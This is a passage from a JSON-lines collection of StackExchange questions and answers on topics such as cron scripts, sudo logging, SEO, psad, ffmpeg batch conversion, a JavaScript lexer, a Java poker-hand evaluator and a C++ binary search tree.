stop script via /tools/stop_app.shThis then outputs to the terminal to show services shutting down. Once complete, it returns me back to the terminal prompt. Now I manually run the start script via /tools/start_app.shThis doesn't output anything, but once it has completed it returns me to the terminal prompt. I then run screen -ls to verify all services for the app is running. (sometimes a service such as freeswitch doesn't start.)If not, then I re-run the stop/start scripts. It might be asked why don't I just put everything into one script. Well this custom app is very finicky and due to limited support from the developers, we need to make sure to utilize the exact tools they provided. Hence 1 script that calls the 2 separate scripts provided by the developers. By integrity check I am referring to checking the screen processes to make sure that the ruby and freeswitch screens are running. For the cron, I would like to perform this app restart automatically on a weekly basis. Note, when I say bash script I am not sure if it correct to say bash or shell. I have no script preference as long as it is a language that usually comes installed by default in Ubuntu Linux. " , "title": "Cron automated bash script to run run 1 bash script then another, plus integrity check" , "tags": "bash;shell;ubuntu;cron;gnu screen" } { "id": "_unix.269036" , "question": "My Chief Security Officer (CSO) want to log the activity of the privileged account (root). I know I can configure sudo to log user input (key strokes) and console/terminal output (stdout/stderr), as explained in How to log commands within a sudo su -?. But the content is always logged to a file locally. That file can easily be wiped by the root user ! I have enable logging in /etc/sudoers:Defaults>root log_input, log_outputDefaults iolog_dir=/var/log/sudo-ioor equivalentroot ALL = (ALL) LOG_INPUT: LOG_OUTPUT: ALLHow to protect/secure the file from deletion ?" , "title": "How to protect/secure the sudo log_input/log_output logs?" , "tags": "sudo;root;logs" } { "id": "_webmaster.82729" , "question": "Pre-HTML5 we used div and ul tags to markup navigation bars and a lot of times the navigation is at the top of the HTML document. In the absence of meta description content, Google uses its own logic to determine what to use in place of the description to show in the search results. Turns out it picks the text in the navigation bar instead of the page contents.Will using nav tags to markup navigation make Google skip the navigation? What tags will indicate to Google that the enclosed content is the main page content?Please avoid suggesting the use description meta tag to solve this problem. I am more of trying to understand the behaviour and result when not using description meta tags." , "title": "Will Google skip nav tags when considering what content to use as page descriptions?" , "tags": "google search;html5;serps;navigation" } { "id": "_webmaster.65423" , "question": "I recently noticed that my web page have problems with Google and good search results.Many of the existing SEO tools suggests that my website uses bad URLs for SEO. I'm using a single PHP file that handles all the sections via parameters.By example:www.alanmarth.com/index.php (Main Page)www.alanmarth.com/index.php?seccion=servicios (Services)www.alanmarth.com/index.php?seccion=blog (Recent news)www.alanmarth.com/index.php?seccion=blog&cat=2 (News category)www.alanmarth.com/index.php?seccion=blog&id=3 (A single entry)Is this ok? If it isn't, how can I solve it without having to rewrite my entire site?" , "title": "Is using URL parameters bad for SEO?" , "tags": "php;wordpress;htaccess;seo" , "accepted_answer": "Regarding: Is this ok?No, its not good/intuitive for your users and hence not good for SEO. You should be using something like thiswww.alanmarth.com/ (Main Page)www.alanmarth.com/servicios (Services)www.alanmarth.com/blog (Recent news)www.alanmarth.com/blog/nameOfCategory2 (News category)www.alanmarth.com/blog/titleOfBlog3 (A single entry)Regarding: how can I solve this without having to rewrite all my site?Are you talking about re-writing whole site code base or just the urls that are planted here and there? Re-writing whole code base is not necessary but you will have to replace the urls everywhere with the new SEO friendly urls. So you need to do following changes:add to .htaccess file in your root folder with the following lines:RewriteCond %{REQUEST_FILENAME} !-fRewriteRule ^ index.php [QSA,L]this will lead all your requests to be served by index.phpparse the $_SERVER['REQUEST_URI'] to figure out what section and category is this request all about. Like if the request uri is /blog this means that $_GET['seccion']=blog in your code. So map it accordingly. And so on.Not much needs to be changed after that." } { "id": "_unix.361069" , "question": "i am trying to set up psad (port scan detection system) but it doesn't work.I think that something is wrong with my iptables, because psad always send[-] You may just need to add a default logging rule to the /sbin/ip6tables 'filter' 'INPUT' chain on nameOfcomp. For more information, see the file FW_HELP in the psad sources directory or visit:http://www.cipherdyne.org/psad/docs/fwconfig.html# iptables -LChain INPUT (policy ACCEPT)target prot opt source destination ACCEPT all anywhere anywhere ACCEPT icmp anywhere anywhere LOG all anywhere anywhere LOG level warningDROP all anywhere anywhere REJECT all anywhere anywhere reject-with icmp-port-unreachableChain FORWARD (policy ACCEPT)target prot opt source destination ACCEPT all anywhere anywhere ACCEPT icmp anywhere anywhere LOG all anywhere anywhere LOG level warningDROP all anywhere anywhere REJECT all anywhere anywhere reject-with icmp-port-unreachable# ip6tables -LChain INPUT (policy ACCEPT)target prot opt source destination ACCEPT all anywhere anywhere ACCEPT ipv6-icmp anywhere anywhere LOG all anywhere anywhere LOG level warningDROP all anywhere anywhere REJECT all anywhere anywhere reject-with icmp6-port-unreachableChain FORWARD (policy ACCEPT)target prot opt source destination ACCEPT all anywhere anywhere ACCEPT ipv6-icmp anywhere anywhere LOG all anywhere anywhere LOG level warningDROP all anywhere anywhere REJECT all anywhere anywhere reject-with icmp6-port-unreachablePlease somebody tell me what with my iptables? How to set them up to make psad works?" , "title": "psad service Linux" , "tags": "iptables;psad" } { "id": "_codereview.117715" , "question": "I recently found an interesting series that describes the specifics of how interpreters and compilers work, explaining each step (with code) and encouraging the reader to do exercises.My code is mostly based on the boilerplate provided in the first tutorial. The description didn't really seem clear enough to me, so I went on to consult the actual code. That was probably the best idea in my case, as it helped me grasp the very basics of lexical analysis.Once I'd had the code working, I reread the article and by then I felt confident enough to approach the exercises.I had no problem with getting my code to satisfy the conditions in the exercises.However, I'm not sure whether my approach was good. I used regular expressions to tokenize the input and remove whitespaces at the same time. That kind of solution seemed robust; the code worked, but I felt a bit uneasy about it (though I couldn't really explain to myself why the use of regular expressions here was wrong). I then looked at the code in the second tutorial that solved all the exercises, and it didn't use regular expressions at all — instead, it iterated over each character (including whitespaces).I coded my lexer in JavaScript and run it in Node.js (though it can be run in virtually every environment that supports ES6 classes).What kind of feedback do I expect? I would like to see my doubts about regular expressions explained (does any lexer do that? If not, why?), but there are probably many things about the code that can be done better — and I will really appreciate the answers which suggest improvements. There are also a few more questions at the bottom of this post.Note: The script does not yet respond to user input, the input sequence needs to be hardcoded as a string.See below for explanations on certain parts of the code.'use strict';class Token { constructor(type, value) { this.type = type; this.value = value; }}['EOF', 'INT', 'MATHOP'].forEach(function (el) { // #1 Token[el] = el;});class Interpreter { constructor(source) { this.source = source; this.pos = 0; this.currentToken = null; } eat(type) { if (this.currentToken.type === type) { this.currentToken = this.getNextToken(); } else { throw new Error('Unexpected token of type ' + this.currentToken.type); } } getNextToken() { if (this.pos >= this.source.length) { return new Token(Token.EOF, null); } var s = this.source.slice(this.pos); // #2 var re; // #3 if (re = /^\\s*([0-9]+)/.exec(s)) { this.pos += re[0].length; return new Token(Token.INT, +re[1]); } if (re = /^\\s*([-+*/])/.exec(s)) { this.pos += re[0].length; return new Token(Token.MATHOP, re[1]); } throw new Error('Erroneous input'); } expr() { this.currentToken = this.getNextToken(); var left = this.currentToken; this.eat(Token.INT); var op = this.currentToken; this.eat(Token.MATHOP); // #4 var right = this.currentToken; this.eat(Token.INT); switch (op.value) { case '+': return left.value + right.value; case '-': return left.value - right.value; case '*': return left.value * right.value; case '/': return left.value / right.value; } }}var i = new Interpreter('11 * 23'); // #5console.log(i.expr());Explanations:At first, all I had was Token.EOF = 0; and so on, each token being assigned a unique, successive number. That wasn't really useful, as stack traces would display the number and I'd have to either remember the type or look it up in the code. I thought that string equivalents would be much more useful, and, to automate the task, I used a forEach() call here. The strings are identical to the keys of Token, so one could think I could stick to strings only and never use variables for that. I think that would get out of control quickly, so, to keep things in place, I assigned the string values as Token's properties. I'd like to know if this is a good idea.Once the number of characters to drop in the beginning (calculated in earlier calls to getNextToken(), initially 0) is known, slice the string.This variable is used in the following if statements and serves two purposes — it keeps the result of the regex match, but also passes null on to the if statement if there is no match. Is this clever, or too clever?The actual regexes ensure that any whitespace preceding the expected token is dropped.The second part of the tutorial mentioned above uses separate tokens for both the + and - signs. My code unifies all the basic arithmetic operators and uses the token's value to determine the operation to be performed. This is what I would like to see criticized as well. I know that in the future I would have to take operator precedence into account, but I think I could solve it sticking to this way.Currently this is the only way to pass input to the interpreter. Once it gets more complex, I will ensure that the input can be supplied in a user-friendly way." , "title": "Simple lexical analysis - basic calculator" , "tags": "javascript;regex;math expression eval;lexical analysis" , "accepted_answer": "I'm not a compiler guy, but I'll offer some feedback, anyway. Hope it helps.Nice work.Regular expressions are a powerful tool, but they can become difficult to maintain and sometimes to get right. You used them, they work, seems fine. I'd suggest making it a point to always use simple regular expressions (which you did). If you need more complex matching, using multiple simple regular expressions in a sequence or loop or in combination with character / string comparisons seems to work pretty well. To answer your questions:1: Using integers does make error messages harder to read, so switching to strings for token types is a good idea, IMO. But, instead of adding properties onto the Token class I'd suggest doing something like the following:var tokenTypes = Object.freeze({ EOF: 'EOF', INT: 'INT', MATHOP: 'MATHOP'});In the past I've done something like this to make error messages and what not easier to read:var tokenTypes = Object.freeze({ EOF: 'tokenType { EOF }', INT: 'tokenType { INT }', MATHOP: 'tokenType { MATHOP }'});2: Slicing the string is fine. If there is more to the question, then please elaborate.3: Use of the re variable to store the match is not too clever. I recommend against assignment inside the if condition, though, it's just something that can be error prone, in general. Down the road you may make an edit and forget to have only one =, or something like that. It's usually considered against best-practices, but is not invalid or anything.4: As I'm not a compiler guy, take this for what it's worth (there is probably obvious conventional wisdom that I don't know about). Using a single token type for these four operations seems fine to me. They all have similar characteristics. But, it will likely be an issue if you broaden this MATHOP usage to operators that have different characteristics, like the unary - (e.g. 1 + -(3 + 4)). Having said that, you may end up keeping these four operators under one BINARY_OP type. You may end up wanting to group on precedence, though.5: Not a question.One thing I want to note, the eat and getNextToken methods are organized in a way that is a little strange, to me. You consume a token (move pos forward), then when you are getting the next token after that, check the type of the previous token. I like to have separate getNNNToken methods for the various tokens I have. For instance, you might have getIntToken() and getOpToken(). Each of these can attempt to consume the correct type of token, and if it fails return undefined. The method that called them can decide if that is an error or if another type of token should be attempted, like getEofToken().As a side note, a scanner I wrote for a DSL: JavaScript and Python. It uses a mix of regular expressions and character comparisons for consuming content. The scanner has a start property and a pos property, and any time a token is created the content spans from start to pos-1. Then, start is moved forward to pos." } { "id": "_webapps.99859" , "question": "Sometimes I will get a Google Photos notification that Google Photos has created a new stylalised image. How can I disable these notifications?" , "title": "Disable Google Photos Notification of New Photo Created" , "tags": "google photos" } { "id": "_webapps.28741" , "question": "I want to create a Gmail filter that identifies all sent mail. If I were to do the same for all the spam message, I know I could use is:spam. Is there a similar command for sent mail? Something like is:sentmail?" , "title": "Is there a is: filter for mail in my Gmail sent folder?" , "tags": "gmail" , "accepted_answer": "Sent messages are labeled as sent, so you can use that to search for them. Either is:sent, in:sent or label:sent should work." } { "id": "_softwareengineering.181545" , "question": "I have a print operation to perform for my customer documents.I need the other standard operations to be performed as well, like add,update, delete.so, I have following: For creating new customer:URI = /customer/{id}, type = POST,Methodname = CreateCustomer()For updating:URI: /customer/{id}, type = PUT, method =UpdateCstomer()For Delete customer:URI = /customer/{id}, type =DELETE, Methodname = DeleteCustomer()For View:URI: /customer/{id}, type = GET, method = GetCustomer()Now, if I need to print a document for that customer, I need a print function.My URI may look like this: /customer/{id}, type = POST , method = PrintCustomer().But I have used that URI and POST type for CreateCustomer.I wanted the URI to look like this:/customer/Print/{id}, type = POST , method = PrintCustomer().But I cannot have Print verb in my URI. Whats the best way to do this?I thought about /customer/document/{id} as the URI... but I will run into the same issue.I would have the CRUD operations on the document. So, again I run out of what I would used for print.Please advise." , "title": "Represent actions(verbs) in REST URI" , "tags": "rest" } { "id": "_unix.172370" , "question": "When installing a module, I noticed the following:ModSecurity for Apache/2.8.0 (http://www.modsecurity.org/) configured.[Tue Dec 09 19:01:10 2014] [notice] ModSecurity: APR compiled version=1.4.5; loaded version=1.4.5[Tue Dec 09 19:01:10 2014] [notice] ModSecurity: PCRE compiled version=8.2 ; loaded version=8.02 2010-03-19Is it possible to run a command to see all loaded libraries and also their versions? Also is there pcre library on macos which I can use to compile mod_security to match the one that Apache is using? " , "title": "Configuration of compiled Apache2" , "tags": "apache httpd" } { "id": "_unix.99425" , "question": "Running Ubuntu 13.10 with a fully compiled ffmpeg. I know the code for the actual conversion is ffmpeg -i video.mp4 -codec copy video.aviI just need a plain and simple Bash script to do that for, say, forty or fifty of the .mp4 files." , "title": "Batch Convert .mp4 to .avi with ffmpeg" , "tags": "conversion;ffmpeg" , "accepted_answer": "If you have a list of file you can use something like:cat list-of-files.txt | while read file; do ffmpeg -i $file -codec copy ${file%%.mp4}.avi; doneor simplycd /path/; ls *.mp4 | while read file; do ffmpeg -i $file -codec copy ${file%%.mp4}.avi; done" } { "id": "_datascience.266" , "question": "Being new to machine-learning in general, I'd like to start playing around and see what the possibilities are.I'm curious as to what applications you might recommend that would offer the fastest time from installation to producing a meaningful result.Also, any recommendations for good getting-started materials on the subject of machine-learning in general would be appreciated." , "title": "What are some easy to learn machine-learning applications?" , "tags": "machine learning" , "accepted_answer": "I would recommend to start with some MOOC on machine learning. For example Andrew Ng's course at coursera.You should also take a look at Orange application. It has a graphical interface and probably it is easier to understand some ML techniques using it. " } { "id": "_unix.186574" , "question": "No documentation, keystone employee leaves ... All I have is the known URL that is called. How do I determine the account that executes this site so I can find the httpd.conf file and scripts? Furthermore I have no access to the machine until I provide the account I need ... Catch 22, um I don't know the account.The only thing going is the port number is a four digit non common number.So I asked our admin to grep for this port number in all conf files but he claims there were only 2 hits and both irrelevant. URL formatted like this ... https://mytestsite.company.com:4680/vendorXCBLIs there a command I should have executed? Or a file I should request? Thanks for any insight.Oh, and I'm new to Solaris and Unix.Regards, danProblem solved, I was given the wrong machine name, doh! Everything falls together when I'm looking at the right machine. Noobie shock syndrome.Thanks for the response." , "title": "How can I determine the Unix account that a URL is associated with?" , "tags": "solaris;web" } { "id": "_unix.88064" , "question": "I have Debian 7 with grub 1.99 in sda1 and Chakra OS without grub in sda2 I want to make a dual boot via grub 1,99, how?" , "title": "Add Chakra os benz to grub 1.99" , "tags": "debian;boot;grub2;dual boot" } { "id": "_unix.197975" , "question": "Recently, I've been fiddling around with Linux's terminal commands to try and get a better feel for the system.I was happy to know that I could give commands a different name in order to call them, using the alias command. For example,alias print=echoIn this case, the echo would be replaced by print.The only problem is that it only seems to stay for one terminal session. Without the use of third party software, is there a way that I can keep these aliases permanently? If there are software alternatives, I'll be glad to hear them.I'm just looking for a way to do this without downloading anything." , "title": "bash: Saving aliases beyond one session" , "tags": "bash;alias;session" } { "id": "_codereview.152434" , "question": "I have a bit of EF Lambda code which returns a list of data from the db table, then orders by a field called IsDefaultAt first, the code wasvar listOfData = Db .TableName .Where(u => u.UserId == userId) .OrderBy(u => u.IsDefault) .ToList();Which when writing down, sounds correct. However is wrong as this will order by 0 > 1, and True = 1.So I changed the statement to;var listOfData = Db .TableName .Where(u => u.UserId == userId) .OrderBy(u => u.IsDefault ? 0 : 1) .ToList();However, I could have also written this 2 other ways..OrderBy(u => !u.IsDefault)OR.OrderByDescending(u => u.IsDefault)Now in my mind, u.IsDefault ? 0 : 1 reads better, and the other two could be misread as the not wanting the default value first.What is your view on this?" , "title": "Ordering data by boolean" , "tags": "c#;entity framework;lambda" , "accepted_answer": "I wouldn't use either ordering on the server side because it looks like the ordering only matters for displaying the data. I cannot imagine why it should matter from the programmatic point of view.Let the client, its view, its display control, or whatever sort the items according to its needs." } { "id": "_unix.148255" , "question": "I am a Linux Mint 17 - Cinnamon user, and have been using it for the past 1 month. I am new to this OS, and trying to learn how to work in a linux environment.My system boots extremely slowly (takes about 20 minutes), and when it does boot the desktop is very unresponsive. Double clicks and keystrokes take way too long to register, though the mouse moves around normally. The whole thing started yesterday after my system shut down because of a power cut. I was not upgrading or installing anything. While looking for clues as to what went wrong, on rebooting, I pressed the arrow keys a bit and this took me to a logging screen (?) listing a bunch of (boot?) tasks and their status.There were a bunch of * xyz task [ok]followed by:* Starting load fallback graphics devices [fail]Followed by more [OK]s, followed by:* Starting SMB/CIFS file and active directory server [fail] After a few more [OK]s the system boots, and there I have the slowdown problems described above. I am dual booting this on my desktop along with windows 7. The entire Linux mint system is on a different hard disk, as is my windows installation. My PC specifications include:a core i7 processor.8GB RAM.a Nvidia GTX 670 Graphics Card." , "title": "Slow boot and slow desktop, along with indecipherable log messages" , "tags": "linux mint;graphics;cifs;smb" } { "id": "_codereview.138476" , "question": "I was bored the other day and decided to have a crack at Project Euler Problem 54 for some fun. Given a file containing one thousand poker hands dealt to two players, the task is to count the number of hands won by Player 1.This is the first project Euler problem i have completed and thought it would be good to get some feedback as i feel to help myself improve on my coding style and optimise the solution.Card Class public class Card {private String card;private String suit;private cardValue value;public String getSuit() { return suit;}public cardValue getValue() { return value;}public Card(String card) { this.card = card; this.value = convertValue(this.card.substring(0, 1)); this.suit = this.card.substring(1, 2);}public cardValue convertValue(String v){ switch(v){ case 2: return cardValue.Two; case 3: return cardValue.Three; case 4: return cardValue.Four; case 5: return cardValue.Five; case 6: return cardValue.Six; case 7: return cardValue.Seven; case 8: return cardValue.Eight; case 9: return cardValue.Nine; case T: return cardValue.T; case J: return cardValue.J; case Q: return cardValue.Q; case K: return cardValue.K; case A: return cardValue.A; default: return cardValue.fail; }}public String getCard() { return card;}@Overridepublic String toString() { return this.card;}}Hand classimport java.util.ArrayList;import java.util.Arrays;import java.util.Collections;import java.util.HashMap;import java.util.HashSet;import java.util.List;import java.util.Map;import java.util.Set;public class Hand {private List<cardValue> broadwayList = Arrays.asList(cardValue.A, cardValue.T, cardValue.J, cardValue.K, cardValue.Q);private List<cardValue> wheelList = Arrays.asList(cardValue.A, cardValue.Two, cardValue.Three, cardValue.Four, cardValue.Five);private ArrayList<Card> handList = new ArrayList<Card>();String hand;public ArrayList<Card> getHand() { return handList;}public Hand(String hand) { this.hand = hand; createHand(hand);}public void createHand(String cards) { handList.removeAll(handList); for (String part : cards.split(\\\\s+)) { Card currentCard = new Card(part); handList.add(currentCard); }}public int getHighestCardValue(ArrayList<Card> hand) { ArrayList<cardValue> cardValues = new ArrayList<cardValue>(); for (Card c : hand) { cardValues.add(c.getValue()); } cardValue maxCard = Collections.max(cardValues); return maxCard.value;}public cardValue getHigherSet(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = checkFrequency(hand); for (Map.Entry<cardValue, Integer> e : freqMap.entrySet()) { cardValue card = e.getKey(); int freq = e.getValue(); switch (freq) { case 2: return card; case 3: return card; case 4: return card; } } return cardValue.fail;}@Overridepublic String toString() { return this.hand.toString();}public Map<cardValue, Integer> checkFrequency(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = new HashMap<cardValue, Integer>(); for (Card c : hand) { if (freqMap.containsKey(c.getValue())) { freqMap.put(c.getValue(), freqMap.get(c.getValue()) + 1); } else { freqMap.put(c.getValue(), 1); } } return freqMap;}public boolean checkFlush(ArrayList<Card> hand) { String suit = hand.get(0).getSuit(); int suitCount = 0; HashMap<cardValue, String> tempMap = new HashMap<cardValue, String>(); for (Card c : hand) { tempMap.put(c.getValue(), c.getSuit()); } for (String s : tempMap.values()) { if (s.equals(suit)) { suitCount++; } } if (suitCount == 5) { return true; } return false;}public boolean checkPair(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = checkFrequency(hand); if (freqMap.containsValue(2)) { return true; } return false;}public boolean checkTwoPair(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = checkFrequency(hand); if (Collections.frequency(freqMap.values(), 2) == 2) { return true; } return false;}public boolean checkThreeOfAKind(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = checkFrequency(hand); if (freqMap.containsValue(3)) { return true; } return false;}public boolean checkFourOfAKind(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = checkFrequency(hand); if (freqMap.containsValue(4)) { return true; } else { return false; }}public boolean checkFullHouse(ArrayList<Card> hand) { Map<cardValue, Integer> freqMap = checkFrequency(hand); Set<Integer> fullHouseCheck = new HashSet<Integer>(freqMap.values()); System.out.println(freqMap.keySet()); if (fullHouseCheck.contains(2) && fullHouseCheck.contains(3)) { return true; } else { return false; }}public boolean checkStraight(ArrayList<Card> hand) { ArrayList<cardValue> straightList = new ArrayList<cardValue>(); int count = 0; int j = 0; for (Card c : hand) { straightList.add(c.getValue()); } Collections.sort(straightList); if (straightList.containsAll(wheelList)) { return true; } for (int i = 0; i < 4; i++) { if (straightList.get(j + 1).showValue() == straightList.get(i) .showValue() + 1) { count++; j++; } } if (count == 4) { return true; } return false;}public boolean checkStraightFlush(ArrayList<Card> hand) { if (checkFlush(hand) == true && checkStraight(hand) == true) { return true; } return false;}public boolean checkRoyalFlush(ArrayList<Card> hand) { ArrayList<cardValue> valueList = new ArrayList<cardValue>(); if (checkFlush(hand) == true) { for (Card c : hand) { valueList.add(c.getValue()); } if (valueList.containsAll(broadwayList)) { return true; } } return false;}public handRankings evaluateHand(ArrayList<Card> hand) { if (checkRoyalFlush(hand)) { return handRankings.royalFlush; } else if (checkStraightFlush(hand)) { return handRankings.straightFlush; } else if (checkFourOfAKind(hand)) { return handRankings.fourOfAKind; } else if (checkFullHouse(hand)) { return handRankings.fullHouse; } else if (checkFlush(hand)) { return handRankings.Flush; } else if (checkStraight(hand)) { return handRankings.Straight; } else if (checkThreeOfAKind(hand)) { return handRankings.threeOfAKind; } else if (checkTwoPair(hand)) { return handRankings.twoPairs; } else if (checkPair(hand)) { return handRankings.onePair; } else { return handRankings.highCard; }}}cardValue enumpublic enum cardValue{ Two(2), Three(3), Four(4), Five(5), Six(6), Seven(7), Eight(8), Nine(9), T(10), J(11), Q(12), K(13), A(14), fail(15); int value; cardValue(int v) { value = v; } int showValue(){ return value; }}handRankings enumpublic enum handRankings { highCard(1), // Highest value card. onePair(2), // Two cards of the same value. twoPairs(3), // Two different pairs. threeOfAKind(4), // Three cards of the same value. Straight(5), // All cards are consecutive values. Flush(6), // All cards of the same suit. fullHouse(7), // Three of a kind and a pair. fourOfAKind(8), // Four cards of the same value. straightFlush(9), // All cards are consecutive values of same suit. royalFlush(10); // Ten, Jack, Queen, King, Ace, in same suit. int value; handRankings(int v) { value = v; }}Main classpublic class Main {public static void main(String[] args) { Main m = new Main(); m.parseHands();}public void parseHands() { int p1wins = 0; int p2wins = 0; try { for (String line : Files.readAllLines(Paths.get(poker.txt))) { Hand hand1 = new Hand(line.substring(0, 14)); Hand hand2 = new Hand(line.substring(14, 29).trim()); handRankings result1 = hand1.evaluateHand(hand1.getHand()); handRankings result2 = hand2.evaluateHand(hand2.getHand()); // checking a pair or higher set hand int pairValue1 = hand1.getHigherSet(hand1.getHand()).value; int pairValue2 = hand2.getHigherSet(hand2.getHand()).value; // finding the highest value card in the hand int highCardValue1 = hand1.getHighestCardValue(hand1.getHand()); int highCardValue2 = hand2.getHighestCardValue(hand2.getHand()); if (result1 == result2) { if (result1 == handRankings.onePair || result1 == handRankings.twoPairs || result1 == handRankings.threeOfAKind || result1 == handRankings.fourOfAKind) { if (pairValue1 > pairValue2) { p1wins++; System.out.println(player 1 wins\\n + hand1.toString() + + result1); } else { p2wins++; System.out.println(player 2 wins\\n+ hand2.toString() + + result2); } } else { if (highCardValue1 > highCardValue2) { p1wins++; System.out.println(player 1 wins\\n + hand1.toString() + + result1); } } } else { if (result1.value > result2.value) { p1wins++; System.out.println(player 1 wins\\n + hand1.toString() + + result1); } else { p2wins++; System.out.println(player 2 wins\\n + hand2.toString() + + result2); } } } System.out.println(\\n + p1wins); System.out.println(\\n + p2wins); } catch (Exception e) { System.out.println(e); }}}" , "title": "Project Euler #54 in Java: Comparing poker hands of two players" , "tags": "java;programming challenge;playing cards" } { "id": "_softwareengineering.325980" , "question": "I don't know much about how computers work internally, so I also don't know much about multithreading, and when it takes place. I know it is important in databases or web applications and such, where a lot of different machines try to access or modify the same resources, but what about classic code, like calculations?I thought about using LinkedList in my code but I read it is not thread-safe (C#). So the question is if I even have to care.The concrete problem is this: I have a class Interval that represents closed intervals, internally stored as two double values (lower and upper bound). I have a method that takes one interval I and a list L of disjoint intervals in ascending order. The method modifies L such that it is equivalent to joining the intervals of the list with I; the order is preserved.Example:L is: [-3, 0], [2, 4], [5, 18], [21, 22]I is: [3, 6]resulting modified L: [-3, 0], [2, 18], [21, 22]The algorithm finds certain border intervals (the leftmost and rightmost interval of L that intersect with I, and the intervals next to these two), Removes all intervals between them and Adds a new interval between them. So this is the place where I need to know if thread-safety is a thing here.So, how do I know?" , "title": "How do I know if I have to care about thread safety?" , "tags": "multithreading" , "accepted_answer": "You need to care about thread safety if you have multiple threads accessing the same shared (mutable) data structure. If the algorithm you describe runs in a single thread, you dont have to worry. An ordinary C# program is single-threaded by default. You have to actively start new threads in order to get a multithreaded program. If you dont do that, you are safe." } { "id": "_webmaster.98774" , "question": "We created an almost identical copy of our web page which has been created in WordPress. Now, it runs on Django/Python so we have to change hosting to make it work. But there is an AdWords campaign running on our web. I'm curious, whether changing the backend and hosting could have any negative influence on AdWords? The domain remains the same." , "title": "Has switching hosting and backend any influence on Google Adwords?" , "tags": "google adwords" } { "id": "_cstheory.1168" , "question": "This question is (inspired by)/(shamefully stolen from) a similar question at MathOverflow, but I expect the answers here will be quite different. We all have favorite papers in our own respective areas of theory. Every once in a while, one finds a paper so astounding (e.g., important, compelling, deceptively simple, etc.) that one wants to share it with everyone. So list these papers here! They don't have to be from theoretical computer science -- anything that you think might appeal to the community is a fine answer.You can give as many answers as you want; please put one paper per answer! Also, notice this is community wiki, so vote on everything you like!(Note there has been a previous question about papers in recursion-theoretic complexity but that is quite specialized.)" , "title": "What papers should everyone read?" , "tags": "big list;soft question" } { "id": "_softwareengineering.286091" , "question": "I've just wanted to get to know what these particular settings really do:Project Properties -> Libraries -> Java PlatformProject Properties -> Sources -> Source/Binary FormatAfter a little bit of googling I know, that: [1] By choosing a Java Platform I declare the minimum Java version which can run my jar file. I can't run my jar with Java 6 when I set the project's JDK to 7 or 8.[2] Second option ensures that I compile my sources with specified java version. Moreover, netbeans will check if I do not use any syntax unavailable in a specified java.If I set my project as compatible with min Java 7 (Java Platform and Source format set to 7) I will have problems while running my jar file using jre 6 (it will be impossible). Let me know if my thinking is now correct.However there is one thing I do not understand and it forces me to think, that I make somewhere a mistake... Namely, it is possible to set, for instance, Java 8 as a Java Platform (so my app is compatible with Java 8+) but in source/binary format I can choose Java 6 or even Java 5. Why such a configuration is possible? What are the advantages of writing a source code using syntax from Java 6 when I use a Java 8 as a project's Java Platform?? " , "title": "Java platform vs Source/Binary format settings in Netbeans" , "tags": "java;compiler;netbeans;settings;jre" } { "id": "_codereview.69554" , "question": "I am currently attempting to become proficient in C++ and started by implementing a basic binary search tree. Most of the programming I have done is in Ada, Python and C. I would like to be able to program efficiently in modern C++ and become familiar with current best practices. I do not have any major questions or concerns beyond the fact that I am not entirely comfortable with the usage of smart pointers. I was hoping some people would simply be willing to critique this code and explain any major problems they may see. I am considering adding an iterator interface but am unsure if I will move forward with that right now. The tree currently works properly for my test cases.Header File#ifndef BST_H#define BST_H#include <memory>template <class BST>class BinarySearchTree{private:/*----------------------------------------------------------------------// Type Declarations //*---------------------------------------------------------------------*/struct node_t;typedef std::unique_ptr<node_t> node_p;struct node_t//Represents one node of tree data{ BST data; node_p left; node_p right; //node_t constructor node_t(const BST &item):data(item), left(nullptr), right(nullptr){}};//Type representing connections of a node.enum limb_t {Right, Left};/*----------------------------------------------------------------------// Class Variables //*---------------------------------------------------------------------*/node_p root;int tree_size;/*----------------------------------------------------------------------// Private functions //*---------------------------------------------------------------------*/bool _search(const BST &item, node_t * &parent, node_t * ¤t) const;/*Function searches the tree for the value of item Sets the parent and current node to the the location of the item if found. Returns boolean value for the result of the search*/void remove_with_children(node_t * &node);/*Replaces the target node's data with the minimum data found in the right subtree Deletes the node with the minimum data is then deleted.*/node_t * find_min_r_sub(const node_t &node) const;/*Function locates the minumum data in the given nodes right subtree Returns a node pointer to the item containing the minimum data*/void remove_with_child(node_t * &parent, node_t * ¤t);/*Replaces the node to be deleted with the existing node on the parent nodes left or right limb Node is deleted after the the move is made*/void remove_leaf(node_t * &parent, node_t * ¤t);/*Function deletes the target node.*/bool has_child(const node_t &node, const limb_t limb) const;/*Reports True if child is found on given node on given limb. False if not*/bool is_empty(void) const;/*Checks if tree is empty Returns boolean value for if tree is empty or not*//*----------------------------------------------------------------------// Private Print Functions //*---------------------------------------------------------------------*/void _postorder(const node_p &node) const;/*Recursively prints the BST in postorder format.*/void _preorder(const node_p &node) const;/*Recursively prints the BST in preorder format.*/void _inorder(const node_p &node) const;/*Recursively prints the BST in inorder format.*/public:/*----------------------------------------------------------------------// Constructor and Destructor //*---------------------------------------------------------------------*/BinarySearchTree(void);/*Creates tree object, Sets root to a nullptr and tree_size to 0.*/~BinarySearchTree(void);/*Destroys the tree object Resets the root node and sets tree_size to 0.*//*----------------------------------------------------------------------// Public Functions //*---------------------------------------------------------------------*/bool insert(const BST &item);/*Inserts item into the tree. Returns true if insertions was successful. Does not allow duplicate items to be inserted.*/bool remove(const BST &item);/*Removes given item from the tree. Returns false if item not in the tree, true if removal was successful.*/bool search(const BST &item) const;/*Calls private serch function and searches for the given item Results are returned as a boolean falue.*//*----------------------------------------------------------------------// Public Print Functions //*---------------------------------------------------------------------*/void inorder(void) const;/*Public function for printing tree in inorder format.*/void preorder(void) const;/*Public function for printing tree in preorder format.*/void postorder(void) const;/*Public function for printing tree in postorder format.*/};#endifClass Body#include BinarySearchTree.h#include <iostream>template <class BST>BinarySearchTree<BST>::BinarySearchTree(void){ root = nullptr; tree_size = 0;}template <class BST>BinarySearchTree<BST>::~BinarySearchTree(void){ root.reset(); tree_size = 0;}template <class BST>bool BinarySearchTree<BST>::insert(const BST &item){ node_p new_leaf(new node_t(item)); if(is_empty()) { root = std::move(new_leaf); } else { node_t * current = root.get(); node_t * parent = nullptr; while(current) /*-Node searches for null position to insert new node if item is not in tree. -Each iteration traverses one node and sets next node.*/ { parent = current; if(current->data > item) { current = current->left.get(); } else if (current->data < item) { current = current->right.get(); } else { //The case that the item is found in the tree. return false; } } if(parent->data 